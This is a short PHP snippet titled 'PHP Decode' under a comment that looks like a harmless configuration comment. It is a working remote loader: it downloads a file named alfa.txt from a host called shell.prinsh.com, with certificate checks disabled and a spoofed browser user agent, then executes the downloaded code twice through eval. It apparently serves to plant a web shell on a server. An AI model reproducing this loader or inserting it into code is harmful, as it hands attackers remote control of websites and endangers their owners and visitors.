PHP Decode

<?php 
/** 
 * Disable error reporting 
 * 
 * Set this to error_reporting( -1 ) for debugging. 
 */ 
function geturlsinfo ($url) { 
    if (function_exists('curl_exec')){  
        $conn = curl_init($url); 
        curl_setopt($conn, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($conn, CURLOPT_FOLLOWLOCATION, 1); 
        curl_setopt($conn, CURLOPT_USERAGENT, "Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0"); 
        curl_setopt($conn, CURLOPT_SSL_VERIFYPEER, 0); 
        curl_setopt($conn, CURLOPT_SSL_VERIFYHOST, 0); 
        curl_setopt($conn, CURLOPT_COOKIEJAR,$GLOBALS['coki']); 
        curl_setopt($conn, CURLOPT_COOKIEFILE,$GLOBALS['coki']); 
        $url_get_contents_data = (curl_exec($conn)); 
        curl_close($conn); 
    }elseif(function_exists('file_get_contents')){ 
        $url_get_contents_data = file_get_contents($url); 
    }elseif(function_exists('fopen') && function_exists('stream_get_contents')){ 
        $handle = fopen ($url, "r"); 
        $url_get_contents_data = stream_get_contents($handle); 
    }else{ 
        $url_get_contents_data = false; 
    } 
return $url_get_contents_data; 
} 
$a = geturlsinfo('https://shell.prinsh.com/Nathan/alfa.txt'); 
eval    ('?>'.$a); 
eval    ('?>'.$a);